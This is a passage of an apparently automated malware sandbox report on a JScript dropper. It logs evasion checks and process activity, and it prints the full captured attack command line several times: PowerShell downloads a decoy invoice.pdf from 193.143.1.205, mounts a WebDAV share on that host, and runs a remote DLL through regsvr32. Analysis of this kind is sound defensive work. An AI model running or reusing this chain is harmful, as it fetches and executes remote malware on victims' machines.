Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4613.js.csv");ITextStream.WriteLine(" entry:7235 f:umzfjv");ITextStream.WriteLine(" exec:2 f:umzfjv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49757

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5411			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4408			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6232	Thread sleep count: 5411 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6232	Thread sleep count: 4408 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1812	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5076	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5532	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.3484182766.000001F579C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2269358694.000001B1EAFB9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2269358694.000001B1EAF58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3485592457.000001F57F45C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2269358694.000001B1EAFB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll	Jump to behavior
